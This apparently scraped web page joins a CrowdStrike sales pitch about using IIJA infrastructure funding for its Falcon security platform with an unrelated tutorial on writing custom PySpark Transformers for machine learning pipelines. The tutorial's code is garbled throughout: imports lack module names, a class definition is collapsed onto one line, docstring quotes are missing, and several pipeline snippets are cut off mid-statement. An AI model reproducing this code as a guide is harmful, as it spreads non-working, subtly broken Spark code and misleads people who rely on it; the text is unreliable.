The integrated CrowdStrike security platform provides governments and organizations with the optimal solution to protect and defend their environments while taking advantage of IIJA funding. We offer endpoint protection capabilities plus a 24/7/365 managed services offering designed to augment teams that may not be staffed to support immediate response — solution attributes that are specifically mentioned in numerous sections of the IIJA. And with over a decade of proven performance in preventing breaches and ensuring resiliency of small, medium and large corporations and governments worldwide, CrowdStrike is the clear choice for securing our critical infrastructure and your valuable data during a cyberattack or intrusion.

In addition, CrowdStrike has a robust team of threat advisors and intelligence experts ensure the rapid flow of threat and adversary contextual information, increasing the strategic impact of information across your environment. Recognizing that 80% of attacks in 2021 were identity-based, CrowdStrike now offers the industry’s first fully managed identity threat protection solution delivering identity threat prevention and IT policy enforcement so that IT and security teams can sleep better at night.  In many cases the adversary manages to bypass standard security measures using valid, stolen credentials. Organizations are now demanding these integrated capabilities where services are delivered through a single, lightweight sensor implemented in on-premises, hybrid and cloud environments.  Ultimately there is a need to provide immediate protection, decreasing risk while allowing clients to focus on providing their core services and products.

The CrowdStrike Falcon® platform provides an increasingly expansive ecosystem of protection capabilities, from endpoint and cloud security, to threat intelligence, identity protection and IT operations. CrowdStrike’s open ecosystem and growing list of industry-leading partnerships enhances and extends our powerful protection across critical areas like operational technology (OT), Internet of Things (IoT) network security and more, empowering forward-leaning organizations to take advantage of the funding in the IIJA. Our integrated Falcon platform capabilities and extended security ecosystem accessible via the CrowdStrike Store provide answers to the challenges and gaps outlined in the IIJA.

Are you interested in learning more about how CrowdStrike can assist you in your journey and help get the funding you need? Now is the time to take advantage of this opportunity. Adversaries will not wait — and neither should you. Whether you provide electricity to local communities, are responsible for designing and building our nation’s bridges and roads, or serve our citizens in local, state or tribal governments, we are here to help. Schedule a meeting with one of our professionals to learn more about how we can help you harden your network and improve your cyber resiliency.

Additional Resources

A Deep Dive into Custom Spark Transformers for Machine Learning Pipelines

By: Jay Luan
27 July 2022 at 15:34
  • Modern Spark Pipelines are a powerful way to create machine learning pipelines
  • Spark Pipelines use off-the-shelf data transformers to reduce boilerplate code and improve readability for specific use cases
  • This blog outlines how to construct custom Spark Transformers to integrate with Spark Pipelines
  • Learn how to identify the components of each Transformer class member function and correctly serialize and deserialize the transformer to and from disk 

CrowdStrike data scientists often explore novel approaches for creating machine learning pipelines especially when processing a large volume of data. The CrowdStrike Security Cloud stores more than 15 petabytes of data in the cloud and gathers data from trillions of security events per day, using it to secure millions of endpoints, cloud workloads and containers around the globe with the power of machine learning and indicators of attack.

When processing so much data, making use of modern Spark Pipelines is a powerful way to use off-the-shelf libraries to reduce boilerplate code and improve readability. Because these Transformers may not fit all use cases, it’s important to understand how to currently construct a custom Spark Transformer that integrates with Spark Pipelines and understand the components of Transformer. 

Pipeline Framework

Note: For this blog, we assume usage of PySpark version 3.0+

Machine learning workflows generally consist of multiple high-level steps:

  • Preprocessing your input data via some extract, transform and load (ETL) steps
  • Splitting the dataset for either cross validation or train/test/validate split
  • Training the model
  • Tuning hyperparameters

The code and structure of each step vary greatly and if inconsistently implemented, can affect readability and flexibility of a data scientist’s workflow. In addition, data scientists often reuse components of their workflow with slight modifications in repeated experiments. This is why commonly used frameworks like scikit-learn and Spark have created pipeline frameworks to more flexibly express and assemble common high-level workflows. 

Such frameworks give the user a consistent approach to build out the steps required to conduct experiments and are easy to extend. A less obvious advantage of this frame is the reduction of complexity for collaborators. Pipelines provide a common code structure which is more readable and thus reduces the barrier of entry into your codebase.

The following is a simple example of a dataset using a pipeline:

# Setup a simple pipeline to tokenize -> hashed term frequency vector -> train logistic regression
tokenizer = Tokenizer(inputCol="text", outputCol="words")
hashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol="features")
lr = LogisticRegression(maxIter=10, regParam=0.001)
pipeline = Pipeline(stages=[tokenizer,
model =

Because experiments should be reproducible, we may need to save information regarding the state of transformation and model hyperparameters. Without a pipeline, each transformer and model may need to be saved separately, and the order of transformation must be manually preserved. Using Spark Pipeline allows us to save the entire pipeline (including transformer states, order and hyperparameters) as a single object and reload easily. From an experimentation and engineering perspective, this reduces the ambiguity of experiment configurations and makes integrating the model and pipeline downstream more straightforward.

# save and reload the entire pipeline
# use pipeline to run entire process again
loaded_pipeline = Pipeline.load(save_path)
loaded_predictions = loaded_pipeline.transform(test) 
# output
>> loaded_pipeline.stages
# output shows the stages in the loaded pipeline
 LogisticRegressionModel: uid=LogisticRegression_a3ac1d359fb0, numClasses=2, numFeatures=12]

Custom Data Transformations

With improvements in flexibility and readability comes some additional work. We must conform our code with a structure that’s acceptable by modern pipelines. One very common set of tasks used in pipelines is the transform step of the ETL process, where we must take our raw data and pass it through a series of data transformation steps. The output of these transforms are vectors and labels used for model training. Though many manipulations on Spark Data can already be done through either native functions or Spark SQL, there are often custom transforms we must apply to every row of our data that require custom code. 

Let’s take for example a simple text manipulation Spark Dataset containing id, text and label  columns:

df = spark_session.createDataFrame([
    (0, "a b c d e spark", 1.0),
    (1, "b d", 0.0),
    (2, "spark f g h", 1.0),
    (3, "hadoop mapreduce", 0.0)
], ["id", "text", "label"])
# Produces the following table:
| id|            text|label|
|  0| a b c d e spark|  1.0|
|  1|             b d|  0.0|
|  2|     spark f g h|  1.0|
|  3|hadoop mapreduce|  0.0|

Starting with a Basic Transformation

It is recommended that data transformation should be expressed as Spark SQL when possible due to its under-the-hood integration with Spark query optimizers and JVM. However, this is sometimes not possible with more complex transformations. In such cases, we can use Spark User Defined Function (UDF) to write our transformations. (Note that UDFs will always be slower than native Spark SQL.)

We’d like to apply a transform such that if we see the string spark, we will append an additional signal string to the end of the text. A simple way to apply this transform to each row is to write this function, then run it as a UDF:

from pyspark.sql.functions import udf
from pyspark.sql.types import StringType
# Define our transformation
def append_string(s, append_val=""):
    If we see the word `spark` in s, append a string to the current string.
    if s and 'spark' in s:
        return s + append_val
    return s
# Wrap the transformation as a UDF
append_udf = udf(lambda row: append_string(row, " hadoop"), StringType())
# Apply the UDF to our Dataset and create a resultant column called `appended_text`
df.withColumn("appended_text", append_udf(col("text"))) \
# Produces the following output table:
|id |text        	|label|appended_text     	|
|0  |a b c d e spark |1.0  |a b c d e spark hadoop|
|1  |b d         	|0.0  |b d               	|
|2  |spark f g h 	|1.0  |spark f g h hadoop	|
|3  |hadoop mapreduce|0.0  |hadoop mapreduce  	|

Note that although this will apply the correct transform, there are a few inconveniences:

  • We cannot save the internal state of the transform — for example, what value we used for the append_val argument in append_string(). This is especially important if we have many inputs that need to be set before we run our transform.
  • We cannot use it as part of a Pipeline, so we would need to either create a Pipeline which starts after this transform step, or write our own subsequent data transforms manually. This means we need to programmatically ensure that code between experiments stays the same. 

Converting Transformation Function Into a Custom Transformer

To make our transformation function both savable and loadable and usable as part of a Pipeline, we will inherit from the SparkML Transformer class along with a few mixins to ensure API conformity with SparkML. The converted custom transformer would look like the following:

import append_string  # this is the function we wrote above
from pyspark.sql.functions import udf
from pyspark.sql.types import StringType
from pyspark import keyword_only  # Note: use if Spark < 2.0 from import Transformer from import HasInputCol, HasOutputCol, Param, Params, TypeConverters from import DefaultParamsReadable, DefaultParamsWritable class StringAppender(Transformer, # Base class HasInputCol, # Sets up an inputCol parameter HasOutputCol, # Sets up an outputCol parameter DefaultParamsReadable, # Makes parameters readable from file DefaultParamsWritable # Makes parameters writable from file ): """ Custom Transformer wrapper class for append_string() """ # append_str is a value which we would like to be able to store state for, so we create a parameter. append_str = Param( Params._dummy(), "append_str", "Value we want to append with", typeConverter=TypeConverters.toString, # This will allow code to automatically try to convert to string ) @keyword_only def __init__(self, inputCol=None, outputCol=None, append_str=None): """ Constructor: set values for all Param objects """ super().__init__() self._setDefault(append_str=None) kwargs = self._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, append_str=None): kwargs = self._input_kwargs return self._set(**kwargs) def setAppendStr(self, new_append_str): return self.setParams(append_str=new_append_str) # Required if you use Spark >= 3.0
    def setInputCol(self, new_inputCol):
        return self.setParams(inputCol=new_inputCol)
    # Required if you use Spark >= 3.0
    def setOutputCol(self, new_outputCol):
        return self.setParams(outputCol=new_outputCol)
    def getAppendStr(self):
        return self.getOrDefault(self.append_str)
    def _transform(self, dataset):
        This is the main member function which applies the transform to transform data from the `inputCol` to the `outputCol`
        if not self.isSet("inputCol"):
            raise ValueError(
                "No input column set for the "
                "StringAppenderTransformer transformer."
        input_column = dataset[self.getInputCol()]
        output_column = self.getOutputCol()
        append_str = self.getAppendStr()
        udf_func = lambda x: append_string(x, append_str)
        data_type = StringType()
        return dataset.withColumn(output_column,
                                  udf(udf_func, data_type)(input_column))

Let’s break down some components of this wrapper and discuss each in detail:

  • Transformer Abstract Base Class
  • Param Type Member Variables
  • @keyword_only, Constructor, and Decorator and Input Persistence
  • Mixins: HasInputCol, HasOutputCol
  • Traits: DefaultParamsReadable, DefaultParamsWritable

Transformer Abstract Base Class

Every custom transformer must at least inherit as the abstract base class.

We must also at the minimum override the _transform() function so that the Transformer knows how to transform out data. The input passed to  _transform() is the entire input Dataset including all the columns so we will need to retrieve the input and output columns (usually set by the constructor).

Now that we have the input dataset , input_column  name, and output_column  name, we can wrap our transformation function append_string(). Note that if the transformation function requires more than a single input, you will need to convert the function into one which accepts a single input. You can do this using a lambda function.

# Code snippet of _transform():
        udf_func = lambda x: append_string(x, append_str)  # append_string() takes two inputs, we can wrap it with a lambda
        data_type = StringType()
        # Note we need to wrap udf_func with pyspark.sql.functions.udf
        return dataset.withColumn(output_column,
                                  udf(udf_func, data_type)(input_column))

Param Type Member Variables

As part of constructing the custom transformer, we will need to generate objects for each of the following:

  • an input_column name which indicates the data that should be transformed
  • the output_column  where the transformed data should be written.
  • any additional data that need to be stored by the Transformer (e.g., append_str, the string that in we want to append in our example)

Param  objects can be set to a value like normal variables but enable us to more easily read/and write them to/from file using Spark’s native methods. Generally these can be set at initialization with the constructor (__init__()). However, because we inherit from HasInputCol and HasOutputCol, the Param type member variables inputCol and outputCol respectively are created automatically for us. Thus we only need to create the append_str Param object. See the next section for more information on the mixins.

append_str = Param(
        "Value we want to append with",
        typeConverter=TypeConverters.toString,   # This will allow code to automatically try to convert to string

The typeConverter parameter here helps implicitly apply type conversions if the data type is different.

Mixins: HasInputCol, HasOutputCol

Inheriting mixins HasInputCol and HasOutputCol allow us to reduce the amount of boiler plate code we must write to create. HasInputCol will create a Param member variable for your custom transformer class called inputCol  that can then be set/retrieved/written to file. Same effect for HasOutputCol and the member variable outputCol. Additionally each mixin here will also initialize default values for their member variable.

Optionally, you can implement setInputCol()  and setOutputCol() to conform more closely with standard transformers available in SparkML.

There are also additional mixins that can be inherited if needed (e.g., a list of input columns or output columns). For more information, please refer to the pyspark API.

@keyword_only Decorator, Constructor and Input Persistence

To correctly create a custom transformer, we must be able to store the inputs used to create the transformer. The inputs will be stored as Param type member variables within our custom transformer class. Let’s break down how this is done.

def __init__(self, inputCol=None, outputCol=None, append_str=None):
    Constructor: set values for all Param objects
    kwargs = self._input_kwargs

Here, @keyword_only  will store input keyword arguments (inputCol, outputCol and append_str in our example) as an internal map inside of the Transformer (in a protected variable called _input_kwargs). After the input arguments are stored, we must manually set any custom variable (using _setDefault()) we pass in that isn’t part of the mixins we inherited from. Specifically, because we inherited from HasInputCol  and HasOutputCol, we do not need to manually set.  This will ensure we can safely retrieve the variables later using the inherited member function getOrDefault().  

Next we set the Param type member variables (by calling setParams()) using our map _input_kwargs so that we can correctly retrieve the true assigned values when we need them later. 

Finally, when we decide to retrieve the variables such as inputCol or append_str , we will need to make a call to getOrDefault() like self.getOrDefault(self.append_str). This is different from how we normally retrieve a variable in Python because each variable is a Param object. See definition for function getAppendStr() for more detail.

Traits: DefaultParamsReadable, DefaultParamsWritable

The final component of creating a custom transformer is to inherit traits DefaultParamsReadable and DefaultParamsWritable to allow us to correctly read to file and write from file both as part of a pipeline or by itself. These traits will read/write the Params we have created to file.

Not inheriting these traits may lead to errors like the following when attempting to save a customer transformer:

ValueError: ('Pipeline write will fail on this pipeline because stage %s of type %s is not MLWritable', 'StringAppender_281f47e48529', <class '__main__.StringAppender'>)

Using a Custom Transformer as Part of a Pipeline

Once the custom transformer is built, it’s easy to attach the transformer to add this component to a pipeline. We will need to initialize our custom transformer by setting the correct input/output columns and the append string to use. Then we will add it as a stage to our pipeline. For example, if we extend the pipeline from section “Pipeline Framework” above, we will have:

from import Pipeline
from import LogisticRegression
from import HashingTF, Tokenizer
from custom_transformer import StringAppender  # This is the StringAppender we created above
appender = StringAppender(inputCol="text", outputCol="updated_text", append_str=" hadoop")  # initialize our custom transformer
tokenizer = Tokenizer(inputCol="text", outputCol="words")
hashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol="features")
lr = LogisticRegression(maxIter=10, regParam=0.001)
pipeline = Pipeline(stages=[appender,   # add the transformer as a stage

As we can see, converting a custom processing function into a custom transformer step requires us to implement the pattern discussed in this post. Although there are some non-trivial components to wrapping functions, the pattern for this work is consistent so it can be applied to most processing functions. Additionally, custom transformers can then be used as part of a pipeline to further improve code readability and integration with native spark pipeline frameworks. Finally, setting up your processing functions as transformers allows us to save entire pipelines to disk, which can be more easily shared and used by collaborators down-stream of your workflow.


Additional Resources

  • Learn more about today’s adversaries and how to combat them at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21! 
  • Learn more about the powerful, cloud-native CrowdStrike Falcon® platform by visiting the product webpage.
  • Get a full-featured free trial of CrowdStrike Falcon Prevent™ and learn how true next-gen AV performs against today’s most sophisticated threats.